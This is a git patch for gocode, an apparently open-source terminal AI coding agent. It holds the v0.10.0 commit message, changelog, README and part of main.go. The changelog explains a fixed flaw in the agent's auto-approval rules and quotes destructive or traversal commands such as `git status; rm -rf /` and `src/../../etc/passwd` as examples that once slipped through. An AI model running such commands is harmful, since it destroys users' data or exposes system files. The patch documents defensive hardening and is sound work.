From e5d5736e8c2d020b0d04256e5d31608f964ce51a Mon Sep 17 00:00:00 2001 From: adanamanya Date: Thu, 24 Sep 2026 13:20:35 +0700 Subject: [PATCH] v0.10.0: make the any-model claim hold under weak models, cheap on strong ones No new parity rows. The provider layer, the permission boundary and the agent loop get their first tests; what the tests found gets fixed; and the things that decide whether "works with any model" is true get built. Fixed - Streams that broke mid-reply were recorded as complete (both providers returned silently on a bad frame or dropped connection). Now surfaced as the error event the REPL renders. Anthropic mid-stream error frames too. - Model fallback never fired for rate limits: the chain judged the RetriesExhausted wrapper (status 0), not the 429 inside it. OpenAI's context_length_exceeded lives in error.code and was never read. - Streamed token counts were zero: OpenAI-compatible streams never asked for usage; Anthropic input tokens live in message_start and only message_delta was read. - Trusted-tool prefixes matched substrings of the raw JSON: "BashTool:ls *" approved `rm -rf ./tools`, "FileWriteTool:src *" approved src/../../etc/passwd. Now word-boundary on the command, directory boundary on the cleaned path, and every command in a compound line must be covered; substitution and file-writing redirects are never auto-trusted. - Malformed tool arguments executed with empty input; the model now gets the bad JSON quoted back and a request to resend. - Codex provider path was unreachable and read the wrong keys from ~/.codex/auth.json. - Context estimate ignored tool results, so auto-compaction fired far too late. A file ending in a newline no longer gets a phantom empty last line. Added - Zero-config local models: an Ollama-style id routes to a running Ollama or LM Studio with no key. With no --model and no keys, gocode picks a local coding model and says so. With nothing set up, it prints three ways to start instead of a credentials error. Bare `gocode` in a terminal starts chat; --help is grouped and the porting-harness commands are hidden. - Loop guard: identical tool calls with identical results three times warn the model, five times stop the loop (stop_reason "stuck"). - --max-cost on chat and prompt: a dollar ceiling for unattended runs, enforced before tools run, transcript kept valid. - Per-model cost ledger behind /cost with a real price table; cache reads priced at Anthropic's rates. - Prompt caching on Anthropic: cache_control on the system block (covers tools) and on the newest message, set on request copies so breakpoints never accumulate. GOCODE_DISABLE_PROMPT_CACHE opts out. - Tool output capped at 40 KB per call (head and tail kept, marker explains how to ask for more); FileReadTool pages at 2000 lines. - gocode doctor --model X probes streaming, system prompt, tool calls and parallel tool calls; cached in .gocode/capabilities.json; chat warns at startup from the cache. - Swarm made real: every spawned sub-agent joins under its own name, is offered send_agent_message and list_agents, reads its inbox each turn; background agents report to main. Previously the tool was never offered and no mailbox was ever read. - evals/: 15 tasks with hidden tests and reference solutions, a runner that scores gocode per model, and a self-test proving each task is solvable and discriminating without spending tokens. Opt-in, not in CI. - Tests for apiclient (recorded SSE fixtures for both wire formats), agent, permissions, doctor, swarm, orchestrator, toolimpl. Changed - /cost is multi-line and priced per model; --output-format json total_cost uses the same pricing. - Bare `gocode` on a TTY starts chat instead of printing help. - `--model codex` with no credentials errors at startup. - `BashTool:git *` no longer covers `git log | head`; trust `head *` too. - Anthropic requests send `system` as a block list. Known gaps: proxy providers prefer the env key over --api-key; the price table is hand-maintained; the `deepseek` alias points at a retired model; nothing here has yet been run against a live model. --- .gitignore | 4 + CHANGELOG.md | 49 ++ README.md | 65 +- cmd/gocode/main.go | 248 ++++++- docs/advanced-features.md | 20 +- docs/cli-reference.md | 73 +- evals/README.md | 91 +++ evals/runner/harness.go | 461 ++++++++++++ evals/runner/harness_test.go | 213 ++++++ evals/runner/main.go | 204 ++++++ .../_hidden/stats_hidden_test.go | 30 + evals/tasks/01-off-by-one/_solution/stats.go | 19 + evals/tasks/01-off-by-one/fixture/go.mod | 3 + evals/tasks/01-off-by-one/fixture/stats.go | 19 + evals/tasks/01-off-by-one/task.json | 3 + .../_hidden/reverse_hidden_test.go | 26 + .../02-unicode-reverse/_solution/reverse.go | 11 + evals/tasks/02-unicode-reverse/fixture/go.mod | 3 + .../02-unicode-reverse/fixture/reverse.go | 11 + .../fixture/reverse_test.go | 12 + evals/tasks/02-unicode-reverse/task.json | 3 + .../_hidden/rename_hidden_test.go | 23 + .../03-rename-across-files/_solution/calc.go | 23 + .../03-rename-across-files/_solution/ops.go | 17 + .../_solution/report.go | 8 + .../03-rename-across-files/fixture/calc.go | 23 + .../03-rename-across-files/fixture/go.mod | 3 + .../03-rename-across-files/fixture/ops.go | 17 + .../03-rename-across-files/fixture/report.go | 8 + evals/tasks/03-rename-across-files/task.json | 3 + .../_hidden/memstore_hidden_test.go | 54 ++ .../_solution/memstore.go | 45 ++ .../04-implement-interface/fixture/go.mod | 3 + .../fixture/memstore.go | 16 + .../04-implement-interface/fixture/store.go | 22 + evals/tasks/04-implement-interface/task.json | 3 + .../_hidden/email_hidden_test.go | 32 + .../05-email-validation/_solution/email.go | 31 + .../05-email-validation/fixture/email.go | 20 + .../tasks/05-email-validation/fixture/go.mod | 3 + evals/tasks/05-email-validation/task.json | 3 + .../_hidden/counter_hidden_test.go | 41 ++ .../06-counter-race/_solution/counter.go | 21 + .../tasks/06-counter-race/fixture/counter.go | 19 + evals/tasks/06-counter-race/fixture/go.mod | 3 + evals/tasks/06-counter-race/task.json | 4 + .../07-json-tags/_hidden/user_hidden_test.go | 46 ++ evals/tasks/07-json-tags/_solution/user.go | 13 + evals/tasks/07-json-tags/fixture/go.mod | 3 + evals/tasks/07-json-tags/fixture/user.go | 13 + evals/tasks/07-json-tags/task.json | 3 + .../_hidden/config_hidden_test.go | 47 ++ .../08-error-wrapping/_solution/config.go | 43 ++ .../tasks/08-error-wrapping/fixture/config.go | 43 ++ evals/tasks/08-error-wrapping/fixture/go.mod | 3 + evals/tasks/08-error-wrapping/task.json | 3 + .../_hidden/duration_hidden_test.go | 38 + .../09-parse-duration/_solution/duration.go | 47 ++ .../09-parse-duration/fixture/duration.go | 16 + evals/tasks/09-parse-duration/fixture/go.mod | 3 + evals/tasks/09-parse-duration/task.json | 3 + .../_hidden/inventory_hidden_test.go | 51 ++ evals/tasks/10-nil-map/_solution/inventory.go | 57 ++ evals/tasks/10-nil-map/fixture/go.mod | 3 + evals/tasks/10-nil-map/fixture/inventory.go | 46 ++ evals/tasks/10-nil-map/task.json | 3 + .../11-dedupe/_hidden/dedupe_hidden_test.go | 38 + evals/tasks/11-dedupe/_solution/dedupe.go | 16 + evals/tasks/11-dedupe/fixture/dedupe.go | 7 + evals/tasks/11-dedupe/fixture/go.mod | 3 + evals/tasks/11-dedupe/task.json | 3 + .../12-env-config/_hidden/env_hidden_test.go | 56 ++ evals/tasks/12-env-config/_solution/env.go | 38 + evals/tasks/12-env-config/fixture/env.go | 14 + evals/tasks/12-env-config/fixture/go.mod | 3 + evals/tasks/12-env-config/task.json | 3 + .../_hidden/health_hidden_test.go | 44 ++ .../13-health-handler/_solution/health.go | 19 + evals/tasks/13-health-handler/fixture/go.mod | 3 + .../tasks/13-health-handler/fixture/health.go | 8 + evals/tasks/13-health-handler/task.json | 3 + .../_hidden/sumcsv_hidden_test.go | 38 + .../tasks/14-shadowed-err/_solution/sumcsv.go | 22 + evals/tasks/14-shadowed-err/fixture/go.mod | 3 + evals/tasks/14-shadowed-err/fixture/sumcsv.go | 22 + evals/tasks/14-shadowed-err/task.json | 3 + .../15-top-words/_hidden/words_hidden_test.go | 44 ++ evals/tasks/15-top-words/_solution/words.go | 39 + evals/tasks/15-top-words/fixture/go.mod | 3 + evals/tasks/15-top-words/fixture/words.go | 13 + evals/tasks/15-top-words/task.json | 3 + internal/agent/permissions_test.go | 148 ++++ internal/agent/runtime.go | 269 ++++++- internal/agent/runtime_test.go | 683 ++++++++++++++++++ internal/agent/trusted.go | 226 +++++- internal/agent/trusted_test.go | 269 +++++++ internal/agent/usage.go | 127 +++- internal/agent/usage_test.go | 153 ++++ internal/apiclient/aliases.go | 8 +- internal/apiclient/anthropic_cache.go | 105 +++ internal/apiclient/anthropic_cache_test.go | 223 ++++++ internal/apiclient/anthropic_provider.go | 40 +- internal/apiclient/anthropic_provider_test.go | 267 +++++++ internal/apiclient/fallback.go | 15 +- internal/apiclient/fallback_test.go | 233 ++++++ internal/apiclient/helpers_test.go | 212 ++++++ internal/apiclient/local.go | 166 +++++ internal/apiclient/local_test.go | 226 ++++++ internal/apiclient/openai_compat.go | 34 +- internal/apiclient/openai_compat_test.go | 387 ++++++++++ internal/apiclient/pricing.go | 156 ++++ internal/apiclient/pricing_test.go | 120 +++ internal/apiclient/provider.go | 89 ++- internal/apiclient/provider_test.go | 403 +++++++++++ internal/apiclient/sse.go | 55 ++ internal/apiclient/sse_test.go | 196 +++++ .../testdata/anthropic_error_midstream.sse | 12 + .../apiclient/testdata/anthropic_text.sse | 24 + .../apiclient/testdata/anthropic_tool_use.sse | 33 + .../testdata/openai_parallel_tool_calls.sse | 14 + internal/apiclient/testdata/openai_text.sse | 12 + .../apiclient/testdata/openai_tool_calls.sse | 12 + internal/apitypes/errors.go | 7 + internal/apitypes/types.go | 14 + internal/doctor/doctor.go | 366 ++++++++++ internal/doctor/doctor_test.go | 368 ++++++++++ internal/doctor/store.go | 74 ++ internal/orchestrator/orchestrator.go | 98 ++- internal/orchestrator/swarm_test.go | 242 +++++++ internal/permissions/permissions_test.go | 51 ++ internal/repl/onboarding.go | 59 ++ internal/repl/onboarding_test.go | 59 ++ internal/swarm/inbox.go | 136 ++++ internal/swarm/inbox_test.go | 81 +++ internal/toolimpl/output_test.go | 161 +++++ internal/toolimpl/toolimpl.go | 81 ++- 136 files changed, 9508 insertions(+), 151 deletions(-) create mode 100644 evals/README.md create mode 100644 evals/runner/harness.go create mode 100644 evals/runner/harness_test.go create mode 100644 evals/runner/main.go create mode 100644 evals/tasks/01-off-by-one/_hidden/stats_hidden_test.go create mode 100644 evals/tasks/01-off-by-one/_solution/stats.go create mode 100644 evals/tasks/01-off-by-one/fixture/go.mod create mode 100644 evals/tasks/01-off-by-one/fixture/stats.go create mode 100644 evals/tasks/01-off-by-one/task.json create mode 100644 evals/tasks/02-unicode-reverse/_hidden/reverse_hidden_test.go create mode 100644 evals/tasks/02-unicode-reverse/_solution/reverse.go create mode 100644 evals/tasks/02-unicode-reverse/fixture/go.mod create mode 100644 evals/tasks/02-unicode-reverse/fixture/reverse.go create mode 100644 evals/tasks/02-unicode-reverse/fixture/reverse_test.go create mode 100644 evals/tasks/02-unicode-reverse/task.json create mode 100644 evals/tasks/03-rename-across-files/_hidden/rename_hidden_test.go create mode 100644 evals/tasks/03-rename-across-files/_solution/calc.go create mode 100644 evals/tasks/03-rename-across-files/_solution/ops.go create mode 100644 evals/tasks/03-rename-across-files/_solution/report.go create mode 100644 evals/tasks/03-rename-across-files/fixture/calc.go create mode 100644 evals/tasks/03-rename-across-files/fixture/go.mod create mode 100644 evals/tasks/03-rename-across-files/fixture/ops.go create mode 100644 evals/tasks/03-rename-across-files/fixture/report.go create mode 100644 evals/tasks/03-rename-across-files/task.json create mode 100644 evals/tasks/04-implement-interface/_hidden/memstore_hidden_test.go create mode 100644 evals/tasks/04-implement-interface/_solution/memstore.go create mode 100644 evals/tasks/04-implement-interface/fixture/go.mod create mode 100644 evals/tasks/04-implement-interface/fixture/memstore.go create mode 100644 evals/tasks/04-implement-interface/fixture/store.go create mode 100644 evals/tasks/04-implement-interface/task.json create mode 100644 evals/tasks/05-email-validation/_hidden/email_hidden_test.go create mode 100644 evals/tasks/05-email-validation/_solution/email.go create mode 100644 evals/tasks/05-email-validation/fixture/email.go create mode 100644 evals/tasks/05-email-validation/fixture/go.mod create mode 100644 evals/tasks/05-email-validation/task.json create mode 100644 evals/tasks/06-counter-race/_hidden/counter_hidden_test.go create mode 100644 evals/tasks/06-counter-race/_solution/counter.go create mode 100644 evals/tasks/06-counter-race/fixture/counter.go create mode 100644 evals/tasks/06-counter-race/fixture/go.mod create mode 100644 evals/tasks/06-counter-race/task.json create mode 100644 evals/tasks/07-json-tags/_hidden/user_hidden_test.go create mode 100644 evals/tasks/07-json-tags/_solution/user.go create mode 100644 evals/tasks/07-json-tags/fixture/go.mod create mode 100644 evals/tasks/07-json-tags/fixture/user.go create mode 100644 evals/tasks/07-json-tags/task.json create mode 100644 evals/tasks/08-error-wrapping/_hidden/config_hidden_test.go create mode 100644 evals/tasks/08-error-wrapping/_solution/config.go create mode 100644 evals/tasks/08-error-wrapping/fixture/config.go create mode 100644 evals/tasks/08-error-wrapping/fixture/go.mod create mode 100644 evals/tasks/08-error-wrapping/task.json create mode 100644 evals/tasks/09-parse-duration/_hidden/duration_hidden_test.go create mode 100644 evals/tasks/09-parse-duration/_solution/duration.go create mode 100644 evals/tasks/09-parse-duration/fixture/duration.go create mode 100644 evals/tasks/09-parse-duration/fixture/go.mod create mode 100644 evals/tasks/09-parse-duration/task.json create mode 100644 evals/tasks/10-nil-map/_hidden/inventory_hidden_test.go create mode 100644 evals/tasks/10-nil-map/_solution/inventory.go create mode 100644 evals/tasks/10-nil-map/fixture/go.mod create mode 100644 evals/tasks/10-nil-map/fixture/inventory.go create mode 100644 evals/tasks/10-nil-map/task.json create mode 100644 evals/tasks/11-dedupe/_hidden/dedupe_hidden_test.go create mode 100644 evals/tasks/11-dedupe/_solution/dedupe.go create mode 100644 evals/tasks/11-dedupe/fixture/dedupe.go create mode 100644 evals/tasks/11-dedupe/fixture/go.mod create mode 100644 evals/tasks/11-dedupe/task.json create mode 100644 evals/tasks/12-env-config/_hidden/env_hidden_test.go create mode 100644 evals/tasks/12-env-config/_solution/env.go create mode 100644 evals/tasks/12-env-config/fixture/env.go create mode 100644 evals/tasks/12-env-config/fixture/go.mod create mode 100644 evals/tasks/12-env-config/task.json create mode 100644 evals/tasks/13-health-handler/_hidden/health_hidden_test.go create mode 100644 evals/tasks/13-health-handler/_solution/health.go create mode 100644 evals/tasks/13-health-handler/fixture/go.mod create mode 100644 evals/tasks/13-health-handler/fixture/health.go create mode 100644 evals/tasks/13-health-handler/task.json create mode 100644 evals/tasks/14-shadowed-err/_hidden/sumcsv_hidden_test.go create mode 100644 evals/tasks/14-shadowed-err/_solution/sumcsv.go create mode 100644 evals/tasks/14-shadowed-err/fixture/go.mod create mode 100644 evals/tasks/14-shadowed-err/fixture/sumcsv.go create mode 100644 evals/tasks/14-shadowed-err/task.json create mode 100644 evals/tasks/15-top-words/_hidden/words_hidden_test.go create mode 100644 evals/tasks/15-top-words/_solution/words.go create mode 100644 evals/tasks/15-top-words/fixture/go.mod create mode 100644 evals/tasks/15-top-words/fixture/words.go create mode 100644 evals/tasks/15-top-words/task.json create mode 100644 internal/agent/permissions_test.go create mode 100644 internal/agent/runtime_test.go create mode 100644 internal/agent/trusted_test.go create mode 100644 internal/agent/usage_test.go create mode 100644 internal/apiclient/anthropic_cache.go create mode 100644 internal/apiclient/anthropic_cache_test.go create mode 100644 internal/apiclient/anthropic_provider_test.go create mode 100644 internal/apiclient/fallback_test.go create mode 100644 internal/apiclient/helpers_test.go create mode 100644 internal/apiclient/local.go create mode 100644 internal/apiclient/local_test.go create mode 100644 internal/apiclient/openai_compat_test.go create mode 100644 internal/apiclient/pricing.go create mode 100644 internal/apiclient/pricing_test.go create mode 100644 internal/apiclient/provider_test.go create mode 100644 internal/apiclient/sse_test.go create mode 100644 internal/apiclient/testdata/anthropic_error_midstream.sse create mode 100644 internal/apiclient/testdata/anthropic_text.sse create mode 100644 internal/apiclient/testdata/anthropic_tool_use.sse create mode 100644 internal/apiclient/testdata/openai_parallel_tool_calls.sse create mode 100644 internal/apiclient/testdata/openai_text.sse create mode 100644 internal/apiclient/testdata/openai_tool_calls.sse create mode 100644 internal/doctor/doctor.go create mode 100644 internal/doctor/doctor_test.go create mode 100644 internal/doctor/store.go create mode 100644 internal/orchestrator/swarm_test.go create mode 100644 internal/permissions/permissions_test.go create mode 100644 internal/repl/onboarding.go create mode 100644 internal/repl/onboarding_test.go create mode 100644 internal/swarm/inbox.go create mode 100644 internal/swarm/inbox_test.go create mode 100644 internal/toolimpl/output_test.go diff --git a/.gitignore b/.gitignore index 3c3c4d7..bca1925 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,7 @@ dist/ .port_sessions/ *.tmp .DS_Store + +# per-machine caches and token-spending run output +.gocode/capabilities.json +evals/results/ diff --git a/CHANGELOG.md b/CHANGELOG.md index adf36f3..797cc85 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,55 @@ All notable changes to gocode are documented here. --- +## v0.10.0 — The Any-Model Release Has To Actually Work With Any Model + +*No new parity rows. The provider layer, the permission boundary, and the agent loop get tests, and the things those tests found get fixed.* + +### Token efficiency +- **Prompt caching on Anthropic.** The system prompt (which covers the tool schemas) and the newest message carry `cache_control` breakpoints, so every turn after the first reads the fixed prefix and the prior conversation at a tenth of the input price. Markers are set on request copies, never on the stored session. `/cost` already prices cache reads and writes at Anthropic's rates. Set `GOCODE_DISABLE_PROMPT_CACHE=1` for an Anthropic-compatible endpoint that rejects the field. +- **Tool output is capped at 40 KB.** Every tool result, including plugin tools, keeps its head and tail (failures live at the end) and replaces the middle with a marker that says how much was dropped and how to ask for the part you need. Previously one `cat` of a build log could put 100k tokens into context and every later turn paid for it again. +- **File reads are paged.** `FileReadTool` without an `end_line` returns 2000 lines and names the `start_line` to continue from; explicit ranges are honoured in full. A file ending in a newline no longer gets a phantom empty last line. +- **Context estimate counts tool results.** The 85% auto-compaction threshold was computed over message text only; tool results, the bulk of any coding session, counted as zero, so compaction fired long after the real window was exceeded. + +### Swarm, made real +- Until now `send_agent_message` was registered for one agent named `main` and never offered to the model, and nothing read any mailbox. Now every sub-agent the orchestrator spawns joins the swarm under its own name (`deep-worker-1`, `planner-2`, ...) for the duration of its run, is offered `send_agent_message` and `list_agents`, and reads its inbox at the start of every turn. The interactive session is `main` and has the same two tools. Background agents post a bounded report of their result, or their failure, to `main`'s inbox, so the next turn hears about it without polling `/tasks`. + +### Fixed +- **Streams that broke mid-reply were recorded as complete.** Both provider stream readers returned silently on a malformed frame or a dropped connection; the runtime saw a clean close and treated the partial reply as the model's answer. They now emit the error event the REPL already renders. Anthropic's own mid-stream `error` frames (`overloaded_error`) are surfaced the same way instead of being forwarded as empty events. +- **Model fallback never fired for rate limits.** Providers retry internally and wrap the final 429 in a `RetriesExhausted` error whose status is 0; the fallback chain judged the wrapper, not the cause. OpenAI's `context_length_exceeded` lives in `error.code`, which was never read. +- **Token counts for streamed turns were wrong.** OpenAI-compatible streams never requested usage (`stream_options.include_usage`) and recorded zero. Anthropic streams recorded zero *input* tokens because input lives in `message_start` and only `message_delta` was read. +- **Trusted-tool patterns matched substrings of the raw JSON.** `BashTool:ls *` auto-approved `rm -rf ./tools`; `FileWriteTool:src *` approved `src/../../etc/passwd`. Prefixes now match the command on a word boundary, the search pattern at its start, and the cleaned path at a directory boundary. +- **Compound commands slipped past a trusted prefix.** `BashTool:git *` approved `git status; rm -rf /`. Every command on the line must now be covered by a trusted prefix; command substitution and file-writing redirection are never auto-trusted (`2>&1` and `>/dev/null` are fine). +- **Malformed tool arguments executed with empty input.** A tool call whose JSON did not parse ran with no arguments and produced a misleading "path is required" error. The model now gets a precise error naming the bad JSON and is asked to resend. +- The Codex provider path was unreachable (`codex` matched the generic OpenAI branch first) and read the wrong keys from `~/.codex/auth.json`. It now reads the file the Codex CLI actually writes, honours `CODEX_HOME`, and fails with a clear missing-credentials error instead of a 401. + +### Added +- **Zero-config local models.** A model id with an Ollama-style tag (`qwen2.5-coder:7b`, or the `llama` alias) is routed to a running Ollama or LM Studio automatically, no key, no `OPENAI_BASE_URL`. `OLLAMA_HOST` is honoured for non-default addresses. If nothing is listening, the error names the local servers it looked for instead of blaming a missing Anthropic key. +- **Works with nothing configured.** With no `--model`, no provider keys, and a local server that has models installed, `gocode` picks a coding model from it, prints which one on stderr, and starts. With nothing at all, it prints three ways to get started (local and free, one OpenRouter key, your own provider key), naming the local models it found, instead of a bare credentials error. +- **Bare `gocode` starts chat** when run in a terminal, like every other agent CLI. Piped or scripted, it prints help. `gocode --model X` works as shorthand for `gocode chat --model X`. +- **Help is organised.** `gocode --help` groups commands (Agent, Servers and integrations, Sessions and settings, Diagnostics) and hides the eighteen porting-harness commands (`manifest`, `parity-audit`, `teleport-mode`, ...). They still run; they just no longer greet new users. +- **Loop guard.** When the model issues the same tool calls and gets the same results three iterations in a row, it is told so in the tool result; after five, the loop stops with reason `stuck`. A command re-run after an edit, or a poll whose output changes, never trips it. Weak models used to burn every one of `--max-turns` this way. +- **`--max-cost `** on `chat` and `prompt`. Stops the session cleanly when its estimated spend reaches the limit, before running any pending tools, and leaves the transcript valid. Warns up front when the model has no price data and the limit cannot be enforced. Intended for unattended runs such as the GitHub Action. +- **Per-model cost ledger.** `/cost` now shows tokens, turns, estimated cost, and cost share for each model that served the session, from a real list-price table (`internal/apiclient/pricing.go`) instead of a blended $3/$15 guess. Under a fallback chain this shows which model actually answered. +- **`gocode doctor --model `.** Four small requests probe whether the model streams, honours a system prompt, calls a tool with valid arguments, and calls several tools in one turn. Results are cached in `.gocode/capabilities.json` (`--refresh` to redo). `chat` and `prompt` warn at startup when the cached probe says the model failed tool calls or ignored the system prompt. +- **Eval harness** under `evals/`: 15 small Go tasks with hidden tests and reference solutions, a runner that builds gocode and scores each task by the module's own tests, and a self-test that proves every task is solvable and discriminating without spending a token. `go run ./evals/runner -model sonnet`. Opt-in; it spends tokens and is not part of CI. +- Tests for `apiclient` (recorded SSE fixtures for both wire formats, retry and error paths, provider resolution), `agent` (permission decisions, trust store, the streaming and non-streaming loops, the new guards), and `permissions`. These packages had none. + +### Changed +- Bare `gocode` in a terminal now starts chat instead of printing help. Scripts are unaffected: without a TTY it still prints help and exits 0. Positional text (`gocode "fix it"`) is rejected as before; use `gocode prompt "fix it"`. +- A local-looking model id with no server running now fails with a local-specific message rather than "missing Anthropic credentials". +- `/cost` output is multi-line and priced per model; anything parsing the old single line will see extra lines. `--output-format json` `total_cost` uses the same real pricing. +- `--model codex` with no credentials now errors at startup instead of returning a provider that fails on first use. +- `doctor` exits non-zero when `--model` cannot be resolved. The no-flag path is unchanged. +- A trusted `BashTool:git *` no longer covers `git log | head` on its own; trust `head *` too, or answer the prompt. + +### Known gaps +- Proxy providers (OpenRouter, Groq, ...) prefer the environment key over `--api-key`, the reverse of native providers. Left as is; noted in `provider_test.go`. +- The price table is hand-maintained and will drift. There is no override file yet. +- The alias `deepseek` points at `deepseek-chat`, which DeepSeek retired in July 2026. + +--- + ## v0.9.0 — One More Thing. *18 new features. 8 new skills. The agent learns to dream, plan, coordinate, and remember.* diff --git a/README.md b/README.md index ee23699..d8cd158 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ gocode terminal screenshot

-

One binary. Zero dependencies. 200+ models. A team of agents.
Inspired by the best terminal AI agents. Built from scratch in Go. Faster than everything else.

+

One binary. Zero dependencies. Any model, including the one on your laptop.
A 12 MB Go binary that starts in milliseconds and tells you what each model actually costs.

go install github.com/AlleyBo55/gocode/cmd/gocode@latest @@ -28,6 +28,44 @@ --- +## Start in 60 seconds + +Pick the path that matches what you have. Each one is a single command away +from a working agent. + +**Nothing. No account, no key.** Install [Ollama](https://ollama.com), then: + +```bash +ollama pull qwen2.5-coder:7b +gocode # finds Ollama, uses your local model, says so +``` + +**One key for every hosted model.** Get one at [openrouter.ai/keys](https://openrouter.ai/keys): + +```bash +export OPENROUTER_API_KEY=sk-or-... +gocode --model anthropic/claude-sonnet-4-6 +``` + +**A provider key you already have:** + +```bash +export ANTHROPIC_API_KEY=sk-ant-... # or OPENAI_API_KEY, GEMINI_API_KEY, GROQ_API_KEY, ... +gocode +``` + +Then two commands worth knowing before you trust a model with your code: + +```bash +gocode doctor --model qwen2.5-coder:7b # can it stream, follow a system prompt, call tools, call several at once? +gocode chat --max-cost 2 # hard stop at $2 of estimated spend, before the next tool runs +``` + +If you type `gocode` with nothing set up, it prints exactly these three paths +instead of an error. + +--- + ## Why gocode We loved what Claude Code did for terminal-based AI coding. But we wanted something faster, model-agnostic, and dependency-free. @@ -60,10 +98,27 @@ Real LSP integration (actual renames, actual go-to-definition — not regex). AS Under 10ms startup. 12MB binary. No runtime dependencies. No Python. No Node. No virtual environments. `go install` and you're done. +### Cheap Where It Counts + +The fixed part of every request is small: about 1,700 tokens of system prompt plus twelve tool schemas. On Anthropic that prefix and the conversation so far are prompt-cached, so a 30-turn tool loop pays full price for them once, not thirty times. Tool output is capped at 40 KB per call and file reads are paged, so one stray `cat` cannot flood the context. `/cost` shows the split per model, cache reads included, and `--max-cost` puts a ceiling on a session in dollars. + --- ## What's New +### v0.10.0 — the any-model release has to actually work with any model + +No new parity rows. The provider layer, the permission boundary, and the agent +loop got their first tests, and what the tests found got fixed: streams that +broke mid-reply were being recorded as complete, fallback never fired for rate +limits, streamed token counts were zero, and a trusted `git *` approved +`git status; rm -rf /`. New: a loop guard that stops a model repeating the same +failing tool call, `--max-cost` for unattended runs, a per-model cost ledger +behind `/cost`, `gocode doctor --model X` to probe what a model can do, zero-config +local models through Ollama or LM Studio, and an opt-in eval harness under +`evals/` that scores gocode per model on real tasks. Details in the +[changelog](CHANGELOG.md). + ### v0.9.0 — One More Thing. Eighteen new capabilities. Eight new skills that change how the agent thinks. A dream system that consolidates memory while you sleep. A planning engine that delegates to the strongest model in the room. Vim keybindings. A cron scheduler. A swarm of agents that talk to each other. A WebSocket bridge for IDE integration. PDF reading. Output styles. And a buddy system — because even an AI agent deserves a companion. @@ -109,14 +164,14 @@ Every model. Every provider. One binary. No lock-in. | **Together AI** | Llama 405B, Qwen 72B Turbo | `TOGETHER_API_KEY` | | **OpenRouter** | 200+ models, one API key | `OPENROUTER_API_KEY` | | **Azure OpenAI** | Enterprise GPT deployments | `AZURE_OPENAI_API_KEY` | -| **Local (Ollama/LM Studio)** | Run any model on your machine | `OPENAI_BASE_URL` | +| **Local (Ollama/LM Studio)** | Run any model on your machine; detected automatically | none (`OLLAMA_HOST` for a non-default address) | ```bash gocode chat --model sonnet # Claude gocode chat --model gpt5 # GPT-5.4 gocode chat --model deepseek # DeepSeek gocode chat --model groq-llama # Llama on Groq (800 tok/s) -gocode chat --model llama # Ollama local +gocode chat --model qwen2.5-coder:7b # any model installed in Ollama, no key, no config gocode chat --goal coding # auto-pick the best coding model ``` @@ -147,7 +202,7 @@ One binary. One key. Every model on the planet. Get your key at [openrouter.ai/k ### Multi-Agent Orchestration - 4 built-in sub-agent profiles: coordinator, deep-worker, planner, debugger - Up to 5 concurrent background agents with independent contexts -- Agent-to-agent messaging via swarm coordination +- Agent-to-agent messaging: every spawned agent joins the swarm under its own name, can message `main` or a sibling with `send_agent_message`, sees `list_agents`, and reads its inbox at the start of each turn; background agents report their result to `main` when they finish - Category-based model routing (deep/quick/visual/ultrabrain) - Automatic model fallback on rate limits and server errors @@ -432,7 +487,7 @@ gocode is inspired by Claude Code but built from scratch with a different archit | Dream system | Yes | **Yes (orient→gather→consolidate→prune)** | | Cron/scheduled tasks | Yes | **Yes (5-field cron, background agents)** | | IDE bridge | Yes | **Yes (WebSocket, bidirectional)** | -| Swarm coordination | Yes | **Yes (agent-to-agent messaging)** | +| Swarm coordination | Yes | **Yes (named agents, inbox per turn, background agents report to main)** | | PDF handling | Yes | **Yes (50MB limit, pure Go)** | | Output styles | Yes | **Yes (4 built-in + custom)** | | Buddy system | No | **Yes (18 species, deterministic gacha)** | diff --git a/cmd/gocode/main.go b/cmd/gocode/main.go index 072e3b5..25a2cb0 100644 --- a/cmd/gocode/main.go +++ b/cmd/gocode/main.go @@ -4,6 +4,7 @@ import ( "bufio" "context" "encoding/json" + "errors" "fmt" "log" "net/http" @@ -30,6 +31,7 @@ import ( "github.com/AlleyBo55/gocode/internal/commandgraph" "github.com/AlleyBo55/gocode/internal/commands" "github.com/AlleyBo55/gocode/internal/cron" + "github.com/AlleyBo55/gocode/internal/doctor" "github.com/AlleyBo55/gocode/internal/editorcompat" "github.com/AlleyBo55/gocode/internal/execution" "github.com/AlleyBo55/gocode/internal/hashline" @@ -60,7 +62,75 @@ import ( "github.com/AlleyBo55/gocode/internal/worktree" ) -var version = "v0.9.0" +var version = "v0.10.0" + +// defaultToLocalModel makes `gocode` work with nothing configured. When the +// user did not choose a model, has no provider credentials, and a local +// server has models installed, the best local model is used and the choice +// is printed so it is never a surprise. An explicit --model or --goal, or any +// configured key, leaves the default alone. +func defaultToLocalModel(cmd *cobra.Command, model string) string { + if cmd.Flags().Changed("model") || cmd.Flags().Changed("goal") || apiclient.HasAnyProviderCredentials() { + return model + } + local, ok := apiclient.DetectLocalServer() + if !ok { + return model + } + suggested := apiclient.SuggestLocalModel(local.Models) + if suggested == "" { + return model + } + fmt.Fprintf(os.Stderr, "No API keys set; using %s from %s at %s. Pass --model to choose.\n", suggested, local.Name, local.BaseURL) + return suggested +} + +// onboardOrError turns a missing-credentials failure into the get-started +// guide, and leaves every other error alone. +func onboardOrError(cmd *cobra.Command, model string, err error) error { + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrMissingCredentials { + return fmt.Errorf("resolving provider: %w", err) + } + local, found := apiclient.DetectLocalServer() + fmt.Fprint(os.Stderr, repl.MissingCredentialsHelp(model, err, local, found)) + // The guide is the whole message. Cobra reports errors on the command it + // executed, which for bare `gocode` is the root, so silence both. + for _, c := range []*cobra.Command{cmd, cmd.Root()} { + c.SilenceUsage = true + c.SilenceErrors = true + } + return err +} + +// warnIfUnbudgetable tells the user when --max-cost cannot be enforced. The +// budget is computed from the price table, so a model with no entry would +// otherwise run unlimited while the flag suggests it is capped. Warnings go +// to stderr so --output-format json stays parseable. +func warnIfUnbudgetable(model string, maxCost float64) { + if maxCost <= 0 { + return + } + if _, ok := apiclient.PriceForModel(model); !ok { + fmt.Fprintf(os.Stderr, "warning: --max-cost %.2f cannot be enforced: no price data for %s (see internal/apiclient/pricing.go)\n", maxCost, model) + } +} + +// warnFromCapabilityProbe surfaces a cached `gocode doctor --model` result +// that predicts trouble for this session, before the first request is made. +func 